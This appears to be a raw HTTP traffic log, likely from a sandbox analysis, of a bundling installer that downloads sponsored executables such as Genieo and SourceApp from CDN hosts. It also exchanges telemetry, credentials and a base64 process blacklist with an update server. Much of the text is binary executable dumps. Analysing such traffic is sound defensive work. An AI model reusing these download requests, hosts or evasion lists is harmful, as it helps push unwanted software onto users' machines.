Range: bytes=249864-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 35694
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 249864-285557/285558
Age: 1
X-Cache: Hit from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 0UirtykjBccvjMuYAjSt876PwnWllYM16WRxdzoiCZ9FkgdeqOIvnQ==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.5111454311401191 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.833397082.1423886223.1423886223.1423886223.1; __utmb=1.1.10.1423886223; __utmc=1; __utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:57:19 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:57:19 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1
Range: bytes=75027-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 125045
Connection: keep-alive
Date: Sun, 08 Feb 2015 06:04:13 GMT
x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537
Cache-Control: max-age=3600
Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT
ETag: "ef7d1863f4980ab0c8bda142fee67f92"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 75027-200071/200072
Age: 377
X-Cache: Hit from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: IkORp2BbCExvz_53tLJ_hdGClhwhJJxSVhPmdLSkwKCMBUbcN08CnQ==
....y.....x..k..........3.....\H0...h.K....,..?Y...N....nC.:..X.e.<
).3....P.._Mf.y.[.&.T........f9^.......J.'=...~:)!/...q..|....u..lHA.g
.{...z....0E.a~..:............t..E..mNs.....T*..R...]..9..K.F/.}.V0./4
..Z`H......t..k....D.*......#4=._....XLO..........?W...L...K..."..#D..
;c.U..7.q.V. [email protected].....
.. .....x..S)*.j.Q>.YMw....x..8.E.G.[....xmh&......xF...N.M.. .I.c.
.9?.<.....8Z.~.....8P.y...... ....q...DR.o.D..v.&.....]x1..O.......
.................E..........V......o..., .. ...... ......#..47...k{...
..X....T".......].|.&..s.....ob].H.........x.H..7.S.t:>*L.....0)...
<.L....G...G.Lj.V..9T.....p..~..5.......\.bV...Jt .....q.u...dc....
*....NvH...C......2'i?..c.q..u..[..@?..Ua.f.8Um....>(.....kG.CBd.1.
.......>..:[email protected]..|H...{..2.^.... .~.4.^...\...........Q.. ...
...&fOE....=.$...U.z.!h..h.J.1.7.1..*&t...t.......X.......r....}...^1.
O......t...*7.>...oIH.A.......0*.kB.0.P..}._....A.......JO........q
..s..)[email protected].....}7n.k..Dv........y...........
7.v.*)...Sk..,@.q=.MN.........,....,....<).......g...n..Kwh..G....Z
..M....*. .F\. Ep.dkp...hc3..ZTl.Vi....;...;...$...#...o..w...w.,.V.D.
'6'#P..(..j...Pe..."=\.>[.o...O.d.s.B.{.E.[.R.:3.....%.r....0&@*.Z.
_.\e.Z.1..ikqo `.n......Q2-:........-K.'.Y...S.m].:....a)na.x.#:Jj....
@..d6Q...$Q.#._......Q`n.Wf(Z..y...O..;k%<...R.7Uk`E.w..1`).[(p{..C
...uZ...})...L......(.....s/.H4.........@..`.g}..|.Q....7.....A.w]]...
!....g..p./.cA._v.....Y..=.~...J.....-......rBI....~.}.;`i.A...L..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=437376-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:58:15 GMT
Date: Sat, 14 Feb 2015 03:58:15 GMT
Content-Range: bytes 437376-583167/583168
Content-Length: 145792
Connection: keep-alive
S0f..SO.....s.....E:y..I...OXz.E..r....L....5..`....#.*Y.'-.U....>.
...*ks..d...#.@..%p....oG..._...<.....M..#...............{......q7.
..,.bOd.........s..8..<..C...e.........q..^1...dR#M..3.=.....j;R...
 ...)....%.-..B..6.X.......5U./.P....R}.'..l..C.,N...$.......Gj.v~ .v;
...uD.G.2.-L....R.[4..P .!Eg..J......j(.q...gEu.?J.T.=.(.2..GC.!...O..
...T...1...5'.^.).O.....:.."...tZ.s..........~e@..........%....F...."n
yw%l.4...O.o{....Pe..d...Y...m.E.......Y..!...g..K...znz....5....l.-s.
......6ONw......,.23.`..zP$cM..n",^./L%p./....W.hol..p)..(.'..B4.F..".
..'.Bp....OB.V......\......_..o.`.. ........*ZGA..2K........Y.s5P.aGD.
._,.. ....G...a/[.k..j.L.........*i".Q5;..&..D..f.gh\......c....>..
.|..c.K..h....4 .U.....7~....l......BQ<......d_.&...!......nEC..S..
^.Sp...m........ _'_......3.><[email protected].......^.~....v
.u.#4..3J...rrh...w......S.....J<.l...fDu........p.3.""(1.M.:. ..t\
2.{p.=.*/c...juSR.q.]....d...r.{[email protected].;.h.
...=.Xx..Z..$.5....3v..v..!..~W.c.G....)yL.^.....w.2...`....;\....H.}z
{.....O ..B..!4:.%.b;.A..T$6..{.D..kq(.M.c'3O..M.n.....s.8.z...o...N.p
...h....oj....A..Y.\......<....{.....E..........S.....QR.~.D.ye&:.`
...........W.."].........?g...nb...S fk.p7...Zr-Y..#H1._&..c.....#3.vS
.......=...$.E......A ..Q.......I[...oCSV....Y. -..O....J.......mOT...
]i....A../..ZqJ.u.).F..mF$@#..w87...S`..OV..........n.VrD...d7.....4..
n(Z).zD....<..P...6..[.....7.P..|./..h.......[|.8..*.0...k......djY
...7......o&/....n/.d.........Gw.QtikjM"..x...g.&....~{k.Wb...!.M.
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=123551-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: BQnvrlIQuP6KXXMHFcvVGFFW76N3rxU1C43DeW4P47jlXNbgi5oRGOr94nmv7533
x-amz-request-id: 542EB4C0039E64DA
Date: Sat, 14 Feb 2015 03:58:20 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 123551-988407/988408
Content-Type: application/octet-stream
Content-Length: 864857
Server: AmazonS3
.[J.w...qYt\M.Fz.4.*.......o.....1K.pE..2....CpY%...~45...'...E...o.$.
...H.h..;o.r.~.98....'...Y.E........r.....C....'!^....i.=.*.(.........
.."...s...v..u..-."...Nm2\[email protected]>.-..\....I....z
.n?.......2...^..?/...a'..".A...D6P....Q.F....<.B6.a<{\..1V..' .
..3/...a.*..MkJ.....$ ...=b.z..5...#..O.W......^O..K...s....>..6.f!
<.S.{. '..Ich...h...f...8<\<`..ff.Y;.<=......:E.f|.Aj..*nN
/....[.S.l.....U....\........k....#p........>.Nvg....c..Q.....k...p
..q....;..<.....l..<..\y....{...fH...F..... [....B...Y.'..T..w.a
..9.....cCW.'S.k.......7.CY.t.....(.)IX...W...........T.......M/......
.uzfBNU.y.....s...W,&.>B....{E...^.v...%<...R...w........<.E=
c.. [email protected]..%..M][email protected]#R..X2X.5uUZ.Q.....
.tM.k.u.O.....G.Vz...,.JZ&J.'[email protected]
[email protected]..=v.....s;.Y...Zfy..e..m.G..0..i=.Y.$..ok...I .V...,.A
...K.gB..c..,.AEfS\....;.9.J..{//>.x_.t5i.6k}....I......I....R.....
..O..d..Y6eD.kG.Aj..,.....u...2Be....WRU?.36...9..N....l;.m..y....\...
...g.m'.Q..%f.#../......Yoe.......j."&.-.WB..'W.J|2..R^p\.2}.S^.[j.3..
3M.d..}1....}.X;[..f?o.h..W...[N..Q.P.JI...fc...E..bkhW.;&.f..........
AY.p...t.....3UP.^-'G..7.e.nL .!i\q{...M.'..=.K&.-..!.9<......p.bhX
.......[Tz1.k..n.QD.....>F..$.$9x.Q..f.e_.0...j.<...d.Y..MKL....
..8.;h.w.g...Q.{q..B..f4.O...hk.bf;.[)..._...DE8C.(I/..*..z.:.....s.#O
...[)(.lA.zC...b}..P.S.X..o....Z..0.....Y.$....mu..C...J..p....I.s~z..
Kr...Y..c:....Y..a.....z%. 7L...8t^..w..d..df...Yt...9.......Ru...
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=364480-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:56:59 GMT
Date: Sat, 14 Feb 2015 03:56:59 GMT
Content-Range: bytes 364480-583167/583168
Content-Length: 218688
Connection: keep-alive
........j....Rm.`.>A.......3.M)....:..&;6..a..L.......I..Y.....&.-U
[.5.....t:w...5W..j.]bS.^...)..3`.......QK....1....8...A..V.].%..Aqu.Y
.n6.|xJ...*...O .Hi.!..b-.j......X.G.X..b.K5.._....}..~.'.....#..x6@..
'J...x}.A....T^.y.....f. ...e1h.]..A...1..2..K....t.`.mN..|..J.3.k..s.
.....6.`.`3.]#^........!.6..-...g..W<..CT()K......._FR..MtGd{..eT.#
o..*4PKQ.Sb.n./q.cQ>.).o1..V-.jg..\/..h.}x....m..I....o^~.TMk..p..)
8..... .....\/.kM....Z7.."..d"..P....].. ........K..u..:.....v.d......
..*..Zyr..:..vA@.{Ru.g......v.....:L..F..17..!e*i.d.b.?<B9B\O.....U
.#..^s..c/u......._k......%...%...B{".....<......''..'...?...N.....
erW.`.........2.(U.e....9(.{,.\.....a^e.C`X....*...6.%x.HF...z.i..F}?.
3......rr\.....A..}.[..%..H.b...14..M..3...ljTG.9.1....t...YRy.-.v.34.
[email protected]...,...............(..x......t)g..%.F
m.& ......U.:.........=..l4.......6........=f/.o...k. bY..YL....$a8.".
....));._...J.......'H'~.....x.[4..i.>Lwe=Tx.V...K.......6...lK..O.
.!.W.w...q..$31m.....z@<y-<.........&...N..s\4h.3.R..Y........F.
...Ze.KKv..........N..*1|K.\l.>..........I..........0k.U..q..!=.\..
.O.......N.gK..C.IPw.}E...2..4r...,kJ... .B.]c.."....q.'.P.*...$l..u.@
......q..&.X}...(.!.......T....tK..gc.0.a.<.J.....6c.)\.........b..
.o.'..A..k'.....M....?.!m..Y65........w..-.......=.CO.`...RR..w.=.9G..
{8]..j..MXJ<..OU....|...'......m,..e..o:..............)".....V.....
..*....e..: ........i..iz|.U..8 U...f...,.&...V...Cm.'.>/.9(..<k
.B.'A,./...V?8z....3.E...H...[.....{.T...pg..^9Ic..X5....N.....$W.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=35695-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 249863
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 35695-285557/285558
Age: 1
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: HZjTgV1675tGz0SND8yZk6x5tarkvWdvFXv1hXDpl0KpEZL23NXNgA==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423886310&SBPIDS=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=xs3fyxvuxx5pum45gwcoe245


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 547
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Sat, 14 Feb 2015 03:58:30 GMT
Connection: close
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...



GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:56:59 GMT
Date: Sat, 14 Feb 2015 03:56:59 GMT
Content-Range: bytes 0-583167/583168
Content-Length: 583168
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


POST /online/Report.aspx HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------080133C308F1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Content-Length: 852
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=xs3fyxvuxx5pum45gwcoe245

-----------------------------080133C308F1
Content-Disposition: form-data; name="ProductID"

12000
-----------------------------080133C308F1
Content-Disposition: form-data; name="Version"

3.3.9.4
-----------------------------080133C308F1
Content-Disposition: form-data; name="UserID"

347a49ca-599a-449d-a352-8c5f411a5764
-----------------------------080133C308F1
Content-Disposition: form-data; name="Password"

6zjimKi4
-----------------------------080133C308F1
Content-Disposition: form-data; name="XmlData"

<xml><VERSION>3.3.9.4</VERSION><ACCFAILUREINFO>kJ79Iwl e1s2/G8nRzh5ELBkVPoUjhogZ7pxoWdsrUU0WQQicfmo07WDE3STM32CP0gISt2/sLfwO4RkVciWc/kiuWQtfNTYfCc56FjccT1XXcVBUJlIVi2n2PaSTXVTobfpyd uyKERKswPDh1GAkRy6DZO1LiivytcG5MEgIAbtdK8bYfXZ1SeqXDIGTM3qRRGU6wa1Qw=</ACCFAILUREINFO></xml>
-----------------------------080133C308F1--

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 486
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Sat, 14 Feb 2015 04:00:41 GMT
Connection: close
..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "h
ttp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html 
xmlns="hXXp://VVV.w3.org/1999/xhtml" >..<head><title>..
.Untitled Page..</title></head>..<body>..    <for
m name="form1" method="post" action="Report.aspx" id="form1">..<
input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwU
JNzgzNDMwNTMzZGSj3Lve5K2rLPoybgcot35Gkzooig==" />..    <div>.
.    ..    </div>..    </form>..</body>..</html&g
t;....



GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=494204-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: dPt81si63SJNKj1OvNysmDbwoyyno6poHzH wT2HcPT9P7k8WYsAWT7ZXEO4pCjB
x-amz-request-id: 63FD89D8026BE94D
Date: Sat, 14 Feb 2015 03:58:20 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 494204-988407/988408
Content-Type: application/octet-stream
Content-Length: 494204
Server: AmazonS3
.;M@{..M.?..4R.[v. .-..bIcw.......b.....!..rf.P.........0.....{......y
..WL.D*^[email protected].)4......V.P!s...!pW6$~......T
..i...kQ.X..-.V.&...;.`...._B..-*.V.*[.S..?...)$\....i...E;........|p.
B|ON......:...@,.qX.vb8.%.<@..z.>_.RB..y.n.oX.AW1(....YU.4..O...
.Q...........A.z[.G..-z#......4/...X..N..l|.p..5!'hV.._.n..c..^.k...E.
....p..5B.......HEm.dh.4.sGUh..WP7.#...........:Z.].K"............B]W.
V...L0q~.].AB.`.trp.eW..J##..[.r,.(.&...."..G..B........#o..`....p...]
5{w.......%z......P}......Wj. M)^...5...Y.C._.7..*........'.. jI.c...t
..@$.X.ty...1.He...eV....}.l.R.2....A.P.....q....#"..58.Yg.f...(...1).
....,......|.#.KB...3H$..N...r...r.)...^.ST.$..?\.... 8,d....{ M...u..
:C........e..FL.j....S...MMd....%.N.i.....y.c..M..H....v.~5........:.f
DI...#.....0.(TH...sWso...:.#~....p....B!.....D."m..Xt..c,.m...e....z.
F*..m.Ci.Qt.....j.m*<...n.7...M..J......(..{....z......y.v.."@kNX.k
3{.m.[.._m\....(...Rz.ka..Qwb....3.\o.?.x..6........j..Do..j....)q....
]Q..}.. ....9....x.. b#Q/ .g.._.-Y.ZZ..r>2.e.\zu....d:w..].j..ma.0D
[........9..2.=...<....j..h.D.3Z..0.f.{$......i..tm..y.J.>.$.kz.
......_.....z...Q.K.(..=.7..I....C.9R_.z...w...B.... ..y...2.j..@'q.m.
.zs..}.........z...r).~....%.............]..rY0..Y.sgE...B.e.....|.<
;h..q.tLPw.....MD....z.....z..3..jP.KQ6>.I..#.{...gyf...@|..#....|.
.,t..m....q*.r.OLX`"B.....k....!n.Q;n......2vn....... a....{..|z...H..
..C.!.eGn.#.....-..m.R...N...._..e..k.&../p......b.....jq.L.-.c..q/..O
/b.......m....~.....:D.A&..Y...`...z..c..U...F...jZ.G.s....*..AI..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=145792-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:58:15 GMT
Date: Sat, 14 Feb 2015 03:58:15 GMT
Content-Range: bytes 145792-583167/583168
Content-Length: 437376
Connection: keep-alive
..U...`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.
e62.d.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t.
..*...8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9..
......VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7
.o...V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ...
....\......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z.
..:...Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W...
.{.W...j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^
..7.. }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k....
..7-..0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... 
h.C..........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.
7.yZ.X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a...
.......".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.
. ..i ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..&
lt;`..R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.
M.....W}[email protected]....
 zi=-...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P..
.W....ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.
J1.B.>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9
f..0~.V.t...m'.=.F....cfA....vN....ae.L u7..q..#,H.............:....{j
...L.xb.......v....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%....
.c...*.IK.b.jz.l.!)....U...&...........BxfJ$..U..SU...:.g>O./..
<<< skipped >>>


GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1
Cache-Control: max-age = 900
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 23 Oct 2014 05:05:32 GMT
If-None-Match: "a2f3ff97eeecf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 200 OK
Content-Type: application/pkix-crl
Last-Modified: Wed, 07 Jan 2015 06:02:43 GMT
Accept-Ranges: bytes
ETag: "88c4768d3f2ad01:0"
Server: Microsoft-IIS/8.5
VTag: 279245755100000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Content-Length: 813
Cache-Control: max-age=900
Date: Sat, 14 Feb 2015 03:59:53 GMT
Connection: keep-alive
0..)0......0...*.H........0_1.0.....&...,d....com1.0.....&...,d....mic
rosoft1-0 ..U...$Microsoft Root Certificate Authority..150106214825Z..
150407100825Z0.0...a......../..100208014912Z._0]0...U.#..0......`@V'..
%..*..S.Y..0... .....7.......0...U......(0... .....7......150406215825
Z0...*.H..............vQ..r..L.Q.N..=#.......V;..r../\.m..<.."...F/
U....(:.....xm.....P.e.F..BE8......=...G....6t:...?...L..B.v..p.M.....
...z..Q.%J.6..I.......8...U. .g..=T=K....L..$w...^....y~..-a.'...*s#N.
o..Qs.$h..:duV'~....8.6..w..b3.... .~)...|.I.y".>R.nJq.ws...3.....f
}.E)\......EB.d\.2.....h...lMjT.7..lj.'lj.b....".L.Os6{[email protected].|7z
